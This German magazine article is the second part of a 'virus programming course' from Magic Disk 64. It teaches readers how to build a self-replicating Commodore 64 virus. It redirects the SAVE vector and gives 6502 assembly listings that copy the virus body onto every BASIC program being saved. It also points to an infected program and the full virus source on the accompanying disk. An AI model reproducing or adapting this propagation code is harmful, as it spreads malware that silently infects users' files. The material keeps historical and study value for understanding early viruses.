Virus-Programmierkurs ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Sicher haben Sie schon gespannt auf das Erscheinen der Augustausgabe von Magic Disk 64 gewartet. Denn in unserem Virus- Programmierkurs wird's jetzt langsam ernst. Heute wollen wir uns - wie in der letzten Ausgabe besprochen - um die Artenerhaltung unseres Virus kümmern, damit er auch viele kräftige und gesunde Nachkommen haben wird! An dieser Stelle sei noch erwähnt, daß sich auf der Magic Disk folgende Pro- gramme befinden, die alle mit diesem Kurs zusammenhängen:
"MD-VIRUS" ist ein infiziertes Gag-Pro- gramm, das zur Aktivierung des Virus dient. Der Syntax-Error am Programmende gehört so und ist kein Programmfehler! "MDV-SOURCE" ist der Sourcecode (=Quell- code) im Hypra-Ass-Format zum Virus. Falls Sie Hypra-Ass nicht besitzen, so hilft Ihnen sicherlich "MDV-SOURCE.ASC" weiter. Das ist der Source-Code als ASCII-File gespeichert. Dieser kann ohne Probleme mit GET# von der Diskette gelesen und ausgedruckt werden.
Doch nun wollen wir ans "Eingemachte" gehen und uns mit der Programmierung selbst befassen. Zuerst wollen wir uns überlegen, wann die Brunftzeit (die Zeit, an der sich der Virus vermehrt) für unser kleines Tierchen am günstigsten ist. Da sticht der Vorgang des Diskettenzugriffs natür- lich sofort ins Auge, denn dann ist es am unauffälligsten, da die Diskettensta- tion sowieso läuft. Und außerdem teilt uns der Programmierer bei einer solchen Aktion auch gleich mit, wie man ein zu infizierendes Programm beim Namen nennt. Man muß also nicht noch aufwendig auf der Diskette nach Programmen und deren Namen suchen.
Gesagt - getan. Um dies zu verwirkli- chen, müssen wir prinzipiell nur den Speichervorgang an sich abfangen können. Das heißt, unser Virus muß sich immer dann einschalten, wenn das Betriebs- system des C64 vom Benutzer dazu bewegt wird, Daten zum Floppy zu schicken. Dieses Problem kann sehr einfach gelöst werden. Das Betriebssystem benutzt näm- lich einen Vektor, der auf die eigent- liche Save-Routine zeigt. Zur Erklärung: Ein Vektor sind zwei Speicherzellen, deren Inhalt im Low-High-Format auf ein entsprechendes Unterprogramm zeigt. Vek- toren können mit indirekten Sprüngen adressiert werden. Speichert man z.B. in
den Speicherzellen $1000 und $1001 die Werte $af und $c0, so wird bei dem Maschinensprachebefehl JMP ($1000) die Adresse $c0af angesprungen. Der SAVE-Vektor steht in den Speicher- zellen $0332 und $0333 (=dezimal 818 und 819). Bei jedem SAVE-Befehl wird indi- rekt über diesen Vektor gesprungen. Ein idealer Platz also für einen Virus, um in das Geschehen einzugreifen. Er muß nur bei seiner (einmaligen) Initiali- sierung diesen Vektor auf eine eigene Routine "verbiegen". Bis zum Ausschalten des Computers wird dann bei jedem SAVE- Befehl die eigene Routine angesprungen.
Zur Vervollständigung des Gesagten sei noch erwähnt, daß dieser Vektor eigent- lich schon mitten in der SAVE-Routine angesprungen wird. Doch das ist für uns nur von Vorteil, da er genau dann aufge- rufen wird, nachdem alle Voreinstellun- gen erledigt wurden, und wir diese des- wegen nicht noch selbst erledigen müs- sen. Um diesen Vorgang genauer zu erläu- tern, muß ich Ihnen zunächst die SAVE- Routine etwas näher beschreiben: Wie Sie ja vielleicht wissen, wird die SAVE-Routine des Betriebssystems mit dem Befehl JSR $FFD8 aufgerufen. Vorher muß man aber noch einige Parameter wie Lauf- werk, Programmname, Start- und End- adresse etc. festlegen. Diese Parameter
werden folgendermaßen übergeben: SETPAR setzt Geräte- und Sekundäradresse SETNAM übergibt Programmnamen und -Länge Jetzt müssen Anfangs- und Endadresse in zwei Speicherzellen in der Zeropage festgelegt werden. Am besten eignen sich die Adressen $FB und $FC, da sie vom Betriebssystem sonst nicht verwendet werden. Nun den Zeiger auf die erste dieser Speicherzellen in den Akku laden, Endad- resse des abzuspeichernden Bereichs in X und Y-Register laden und SAVE aufrufen.
Damit das verständlicher wird, folgt hier zunächst das Quellisting einer Maschinenspracheroutine, die den Spei- cherbereich von $0801 bis $11AB unter dem Namen "DEMOSAVE" auf Diskette abspeichert:
10 -.ba $c000 ;Basisadresse 20 -.eq save = $ffd8 ;Konstanten- 30 -.eq setpar = $ffba ;definitionen 40 -.eq setnam = $ffbd ; 50 -; 100 - lda #$01 ;Filenummer 110 - ldx #$08 ;Geräteadresse 120 - ldy #$01 ;Sekundäradresse 130 - jsr setpar ;Parameter setzen 140 - lda #$08 ;Länge des Namens
150 - ldx #<(name) ;Adresse low 160 - ldy #|(name) ;Adresse high 170 - jsr setnam ;Namen setzen 180 - ldx #$01 ;Anfangsadresse low 190 - ldy #$08 ;Anfangsadresse high 200 - stx $fb ;in $fb und $fc 210 - sty $fc ;zwischenspeichern 220 - lda #$fb ;Zeiger auf Speicher 230 - ldx #$ab ;Endadresse low 240 - ldy #$11 ;Endadresse high 250 - jsr save ;SAVE anspringen 260 - rts ;fertig! 270 -; 280 -name .tx "demosave"
Werfen wir nun einen kleinen Blick "hin- ter die Kulissen" - sprich ins Betriebs- system. Dabei beginnen wir an der Stel- le, an der auch die SAVE-Routine beginnt, nämlich bei Adresse $FFD8. Hier ein kleiner Auszug, wie Sie ihn sich mit einem Disassembler bzw. Speichermonitor auch "live" ansehen können: FFD8 JMP $F5DD Es wird also nur ins Innere des Systems weitergesprungen. Dort verfolgen wir das Betriebssyetem weiter: F5DD STX $AE ;Low-Byte Endadresse speichern
F5DF STY $AF ;High-Byte Endadresse speichern F5E1 TAX ;Zeiger auf Anfangs- adresse ins X-Register F5E2 LDA $00,X ;Low-Byte der Anfangs- adresse holen F5E4 STA $C1 ;und speichern F5E6 LDA $01,X ;dasselbe mit dem F5E8 STA $C2 ;High-Byte F5EA JMP ($0332);Save-Vektor
Sie sehen, daß erst in der letzten Zeile auf die SAVE-Routine verzweigt wird. Die übrigen Zeilen sind nur dazu da, die Pa- rameter für später zwischenzuspeichern.
Hier also ist der Punkt, an dem unser Virus eingreifen darf. Er sollte somit auch alle Funktionen übernehmen, die das Betriebssystem normalerweise ausführt, nur daß er sich zusätzlich auch noch mitspeichert. Um herauszufinden, was genau er da tun soll, verfolgen wir die normale Saveroutine weiter: Einsprung über Vektor $0332/$0333 von $F5EA: F5ED LDA $BA ;Geräteadresse laden F5EF BNE $F5F4 ; wenn <| 0 dann weiter F5F1 JMP $F713 ;"ILLEGAL DEVICE NUMBER ERROR" ausgeben F5F4 CMP #$03 ;vergleiche mit Bild-
schirmcode F5F6 BEQ $F5F1 ;wenn ja, dann Fehler F5F8 BCC $F659 ;wenn <3, dann Sprung zu Test auf RS232 oder Cassette F5FA LDA #$61 ;Sekundäradresse F5FC STA $B9 ;zwischenspeichern F5FE LDY $B7 ;Filenamenlänge holen F600 BNE $F605 ;|0, dann weiter F602 JMP $F710 ;"MISSING FILE NAME ERROR" ausgeben F605 JSR $F3D5 ;Filename auf IEC-Bus F608 JSR $F68F ;"SAVING" ausgeben F60B LDA $BA ;Geräteadresse laden F60D JSR $ED0C ;und LISTEN senden F610 LDA $B9 ;Sekundäradresse holen F612 JSR $EDB9 ;und für LISTEN senden
F615 LDY #$00 ;Zähler auf 0 setzen F617 JSR $FB8E ;Startadresse nach $AC/$AD kopieren F61A LDA $AC ;Startadr.-Low laden F61C JSR $EDDD ;und senden F61F LDA $AD ;Startadr.-High laden F621 JSR $EDDD ;und senden Ab hier (also ab $F624) folgt noch eine kleine Routine, die jedes Byte bis zur Endadresse durchgeht, mit der Routine bei $EDDD an die Floppy sendet und an- schließend das File wieder schließt und zurückspringt.
Wie Sie sehen, ist der erste Teil nur dazu da, die Geräteadresse zu überprüfen und die entsprechenden Fehlermeldungen auszugeben. Anschließend kommt erst der Anfang der eigentlichen Saveroutine. Hier wird dann das "saving" ausgegeben und der Floppykanal geöffnet. Bis zur Adresse $F617 alles Dinge, die für uns unwichtig sind, und die wir auch einfach in unserem Virus übernehmen werden, damit er auch voll kompatibel zum Betriebssystem ist. Erst ab $F61A wird es für uns interes- sant. Hier werden nämlich Low- und High- byte der Anfangsadresse des zu savenden Bereichs an die Floppy geschickt, damit
die Loadroutine später weiß, wohin sie das eingeladene Programm legen soll. Dieser Teil ist deshalb so wichtig für uns, weil wir unseren Virus grundsätz- lich nur vor Programme kopieren lassen wollen, die an den normalen Basicstart (also $0801) geladen werden, da man hier davon ausgehen kann, daß das entsprech- ende Programm mit RUN gestartet werden muß. Würde sich der Virus auch vor Maschinenprogramme kopieren, die bei- spielsweise bei $C000 anfangen, dann könnte das verheerende Folgen haben, da er selbst ja ein mit RUN startbares Pro- gramm ist und man ihn nicht einfach mit einem SYS starten kann.
Also müssen wir an dieser Stelle über- prüfen, an welcher Stelle sich das zu savende Programm befindet. Ist das nicht $0801, so hält sich unser Virus schön brav im Hintergrund und tut gar nichts. Ist es aber ein Programm, das bei $0801 beginnt, so soll er sich mitkopieren. Also bauen wir an dieser Stelle noch ein paar Vergleichsbefehle ein:
LDA $AC ;Lo-Byte Anfangsadresse CMP #01 ;= $01? BEQ LAB1 ;Ja, dann Byte senden LDY #$01 ;Flag setzen LAB1 JSR $EDDD ;Lo-Byte senden LDA $AD ;Hi-Byte Anfangsadresse CMP #$08 ;= $08?
BEQ LAB2 ;Ja, dann Byte senden LDY #$01 ;Flag setzen LAB2 JSR $EDDD ;Hi-Byte senden CPY #$01 ;Flag gesetzt? BNE OKAY ;nein, also vermehren! LDY #$00 ;Ja, Y zurücksetzen JMP $F624 ;normal weitersaven
Hier die genaue Funktionsweise: Das Y- Registerwurde bei $F615 ja mit 00 gela- den. Sollte jetzt bei einem Vergleich ein Wert ungleich dem verglichenem Wert sein, so wird das Y-Register mit dem Wert 01 beschrieben und erst dann das Byte gesendet. In der Folge wird dann verglichen, ob das Y-Register noch 0 ist. Ist das der Fall, so darf sich der
Virus kopieren. Ansonsten verzweigt das Programm in die normale Saveroutine. In dieser Form konnten wir die Assemb- lerbefehle bisher aus dem Betriebssystem übernehmen. Jetzt müssen wir auch einmal etwas eigenes leisten, nämlich eine Rou- tine schreiben, die den Virus an die Floppy sendet. Bis jetzt sind der Flop- pykanal geöffnet und die Startadresse übergeben. Normalerweise würde jetzt das zu savende Programm kommen, doch das soll ja gerade nicht der Fall sein. Wir müssen zuerst den Virus an die Floppy senden und dann das eigentliche Pro- gramm. Dieses Problem lösen wir folgen- dermaßen:
OKAY LDA #<(DATA) ;Lo-Anfangsadresse STA $FB ;des Virus setzen LDA #|(DATA) ;dasselbe mit dem STA $FC ;Highbyte LDA #<(ENDE) ;Lo-Endadresse STA $F9 ;setzen LDA #|(ENDE) ;dasselbe mit dem STA $FA ;Highbyte LDY #$00 ;Zähler löschen LOOP LDA ($FB),Y ;Zeichen laden JSR $EDDD ;und senden JSR INCCOUNT ;Zähler um 1 erhöhen BCC LOOP ;Weiter, wenn noch nicht Endadresse JSR SAVECONT ;Wenn doch, dann Programm saven
Zur Dokumentation: Am Anfang setzen wir Start- und Endadresse. Die Endadresse hinterlegen wir in $F9/$FA, da die INCCOUNT-Routine diese Werte zum Ver- gleichen braucht. Diese Routine steht in unserem Source-Listing übrigens ab Zeile 8210 und soll an anderer Stelle näher erläutert werden. Soviel sei aber schon hier gesagt: Die Routine erhöht den Zeiger in $FB/ $FC und vergleicht ihn mit der Endad- resse, die wir ja in $F9/$FA abgelegt haben. Sind beide Adressen gleich, so setzt sie das Carryflag, womit die Ab- frage nach JSR INCCOUNT zu erklären ist. Ist das Carryflag gelöscht, so ist das
Ende noch nicht erreicht und die Schleife wird wiederholt. Im Anschluß wird dann wieder die normale Saveroutine des Betriebssystems angesprungen, um das eigentliche Programm abzuspeichern. In der Konstanten SAVECONT ist die Zahl bzw. Adresse $F624 gespeichert. Hiermit sind wir am Ende des zweiten Teils des Virusprogrammierkurses ange- langt. Die oben beschriebene Saveroutine finden Sie ab Zeile 2220 im Source- listing, allerdings mit zwei kleinen Abweichungen. Die eine hat mit der Ver- mehrung beim Laden zu tun, die wir näch- sten Monat besprechen wollen. Und die
andere ist für den kleinen Gag zustän- dig, mit dem der Virus auf sich aufmerk- sam machen soll. Bis zum nächsten Teil bleibt uns nur noch, Ihnen viel Spaß in Ihrer Aktivität als Virologe zu wünschen.